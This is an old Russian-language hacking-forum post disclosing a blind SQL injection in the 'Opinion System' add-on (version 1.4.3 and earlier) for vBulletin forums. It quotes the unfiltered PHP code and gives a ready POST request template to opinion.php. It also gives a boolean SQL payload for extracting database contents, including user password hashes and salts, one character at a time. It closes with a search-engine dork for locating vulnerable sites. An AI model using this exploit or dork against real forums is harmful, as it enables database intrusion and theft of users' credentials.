Показать сообщение отдельно

  #57  
Старый 14.10.2009, 20:29
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Blind - SQL Injection
Opinion System <= 1.4.3

Тип: SQL - Инъекция
Автор: mailbrush
Мод (хак): Opinion System <= 1.4.3
О моде: http://www.vbsupport.org/forum/showthread.php?p=272151
Описание: Уязвимость заключается в отсутствии фильтрации входного параметра "value" в файле opinion.php и позволяет удалённому пользователю внедрить SQL - команды в запрос к базе данных.
Уязвимый код:
opinion.php
PHP код:
$value $_POST[value];
...
            
//пишем мнение в базу
            
$vbulletin->db->query_write("
                INSERT INTO " 
TABLE_PREFIX "opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory".$modyfied1.")
                VALUES (
$opinionid$fromuserid$touserid$value$dateline, '".$vbulletin->db->escape_string($comment)."', $autofill$history$forcehistory".$modyfied2.")
            "
); 
Эксплуатация: Для эксплуатации уязвимости необходимо следующее:
  • Форум vBulletin.
  • Установленный мод Opinion System <= 1.4.3.
  • Зарегистрированный аккаунт на форуме.
Отправляем запрос:
Код:
POST /[path]/opinion.php HTTP/1.1
Host: [host]
Cookie: [cookie]
Connection: Keep-Alive
Content-Length: [content-length]
Content-Type: application/x-www-form-urlencoded

do=postvote&securitytoken=[token]&touserid=[touserid]&fromuserid=[fromuserid]&uop=0&username=[username]&comment=[comment]&value=[SQL]
Код:
[path] - путь к корню форума.
[host] - хост.
[cookie] - куки.
[content-length] - длина POST-запроса.
[token] - securitytoken (не во всех форумах надо указывать).
[touserid] - ID пользователя, которому ставим оценку.
[fromuserid] - ваш ID.
[username] - имя пользователя, которому ставим оценку.
[comment] - комментарий к оценке.
[SQL] - SQL - запрос.
В базу данных пойдет запрос вида
Код:
INSERT INTO prefix_opinion (opinionid, fromuserid, touserid, value, dateline, comment, autofill, history, forcehistory) VALUES ([DATA], [DATA], [DATA], [SQL], [DATA], [DATA], [DATA], [DATA], [DATA])
Соответственно вместо [SQL] можно подставить запрос вида
Код:
(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).
Дорк:
Код:
vbulletin inurl:opinion.php
 
Ответить с цитированием